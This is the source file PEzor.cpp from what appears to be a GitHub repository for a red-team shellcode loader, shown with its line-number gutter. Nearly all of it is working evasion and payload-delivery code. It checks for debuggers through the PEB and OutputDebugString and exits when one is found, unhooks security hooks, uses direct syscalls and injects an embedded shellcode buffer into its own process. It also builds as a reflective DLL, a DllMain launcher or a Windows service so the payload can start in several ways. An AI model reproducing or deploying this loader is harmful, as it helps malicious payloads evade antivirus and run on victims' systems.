-
Notifications
You must be signed in to change notification settings - Fork 322
/
PEzor.cpp
203 lines (183 loc) · 5.71 KB
/
PEzor.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
#pragma clang diagnostic ignored "-Wnested-anon-types"
#pragma clang diagnostic ignored "-Wgnu-anonymous-struct"
#ifdef SHAREDOBJECT
#ifdef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "ReflectiveDLLInjection/dll/src/ReflectiveLoader.h"
extern HINSTANCE hAppInstance;
#endif
#endif
#include "PEzor.hpp"
#define NT_FAIL(status) (status < 0)
#define FLG_HEAP_ENABLE_TAIL_CHECK 0x10
#define FLG_HEAP_ENABLE_FREE_CHECK 0x20
#define FLG_HEAP_VALIDATE_PARAMETERS 0x40
#define NT_GLOBAL_FLAG_DEBUGGED (FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK | FLG_HEAP_VALIDATE_PARAMETERS)
#ifdef ANTIDEBUG
inline void anti_debug(void) {
DWORD errorValue = 1111;
SetLastError(errorValue);
OutputDebugString(" ");
if (GetLastError() != errorValue) {
#ifdef _DEBUG_
MessageBoxA(NULL, "Stop debugging program!", "Error", MB_OK | MB_ICONERROR);
#endif
exit(STATUS_SUCCESS);
}
__PPEB peb = GetProcessEnvironmentBlock();
if (peb->bBeingDebugged) {
#ifdef _DEBUG_
MessageBoxA(NULL, "Stop debugging program!", "Error", MB_OK | MB_ICONERROR);
#endif
exit(STATUS_SUCCESS);
}
if (peb->dwNtGlobalFlag & NT_GLOBAL_FLAG_DEBUGGED) {
#ifdef _DEBUG_
MessageBoxA(NULL, "Stop debugging program!", "Error", MB_OK | MB_ICONERROR);
#endif
exit(STATUS_SUCCESS);
}
}
#endif
int _main(int argc, char** argv) {
#ifdef _DEBUG_
puts("PEzor starting!");
#endif
#ifdef ANTIDEBUG
#ifdef _DEBUG_
puts("anti-debug checks");
#endif
anti_debug();
#endif
#ifdef UNHOOK
#ifdef _DEBUG_
puts("unhooking process");
#endif
RefreshPE();
#endif
#ifdef SYSCALLS
my_init_syscalls_list();
#endif
HANDLE hThread = (HANDLE)-1;
#if defined(SHAREDOBJECT) || defined(SERVICE_DLL)
LPVOID allocation = inject_shellcode_self(buf, buf_size, &hThread, FALSE, sleep_time);
#else
LPVOID allocation = inject_shellcode_self(buf, buf_size, &hThread, TRUE, sleep_time);
#endif
if (!allocation || hThread == (HANDLE)-1) {
#ifdef _DEBUG_
printf("inject_shellcode_self: ERROR 0x%x", allocation);
#endif
return -1;
}
#ifdef _DEBUG_
puts("inject_shellcode_self: OK");
#endif
return 0;
}
#ifdef SHAREDOBJECT
extern "C"
__declspec(dllexport)
void CALLBACK StartW(HWND hwnd, HINSTANCE hinst, LPWSTR lpszCmdLine, int nCmdShow) {
while (TRUE)
Sleep(60000);
}
__declspec(dllexport)
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) {
switch (dwReason) {
#ifdef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
case DLL_QUERY_HMODULE:
#ifdef _DEBUG_
puts("DLL_QUERY_HMODULE");
#endif
if (lpReserved != NULL)
*(HMODULE *)lpReserved = hAppInstance;
break;
#endif
case DLL_PROCESS_ATTACH:
#ifdef _DEBUG_
puts("DLL_PROCESS_ATTACH");
#endif
#ifndef SERVICE_DLL
_main(0, NULL);
#endif
break;
case DLL_THREAD_ATTACH:
#ifdef _DEBUG_
puts("DLL_THREAD_ATTACH");
#endif
break;
case DLL_PROCESS_DETACH:
#ifdef _DEBUG_
puts("DLL_PROCESS_DETACH");
#endif
break;
case DLL_THREAD_DETACH:
#ifdef _DEBUG_
puts("DLL_THREAD_DETACH");
#endif
break;
}
return TRUE;
}
#endif
#ifdef SERVICE_EXE
#include <winsvc.h>
SERVICE_STATUS_HANDLE g_serviceStatusHandle = nullptr;
HANDLE g_hSvcStopEvent = NULL;
SERVICE_STATUS g_serviceStatus = {SERVICE_WIN32_SHARE_PROCESS, SERVICE_START_PENDING, SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_PAUSE_CONTINUE};
char cServiceName[] = "SERVICE";
__attribute__((stdcall))
DWORD HandlerEx(DWORD dwControl, DWORD dwEventType, LPVOID lpEventData, LPVOID lpContext) {
switch (dwControl) {
case SERVICE_CONTROL_STOP:
g_serviceStatus.dwCurrentState = SERVICE_STOPPED;
break;
case SERVICE_CONTROL_SHUTDOWN:
g_serviceStatus.dwCurrentState = SERVICE_STOPPED;
break;
case SERVICE_CONTROL_PAUSE:
g_serviceStatus.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
g_serviceStatus.dwCurrentState = SERVICE_RUNNING;
break;
case SERVICE_CONTROL_INTERROGATE:
default:
break;
}
SetServiceStatus(g_serviceStatusHandle, &g_serviceStatus);
return NO_ERROR;
}
#ifdef SERVICE_DLL
extern "C"
__declspec(dllexport)
#endif
VOID ServiceMain(DWORD dwArgc, LPCWSTR* lpszArgv) {
if (dwArgc > 0)
g_serviceStatusHandle = RegisterServiceCtrlHandlerW(lpszArgv[0], (LPHANDLER_FUNCTION)HandlerEx);
else
g_serviceStatusHandle = RegisterServiceCtrlHandlerW(L"SvcHostDemo", (LPHANDLER_FUNCTION)HandlerEx);
if (!g_serviceStatusHandle) {
g_serviceStatus.dwCurrentState = SERVICE_STOPPED;
g_serviceStatus.dwWin32ExitCode = SERVICE_ERROR_SEVERE;
SetServiceStatus(g_serviceStatusHandle, &g_serviceStatus);
return;
}
g_serviceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(g_serviceStatusHandle, &g_serviceStatus);
_main(0, NULL);
}
#ifndef SERVICE_DLL
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
SERVICE_TABLE_ENTRY st[] = {
{ (LPSTR)&cServiceName, (LPSERVICE_MAIN_FUNCTIONA)&ServiceMain },
{ NULL, NULL }
};
return StartServiceCtrlDispatcher( (SERVICE_TABLE_ENTRY *)&st );
}
#endif
#else
int main(int argc, char** argv) {
return _main(argc, argv);
}
#endif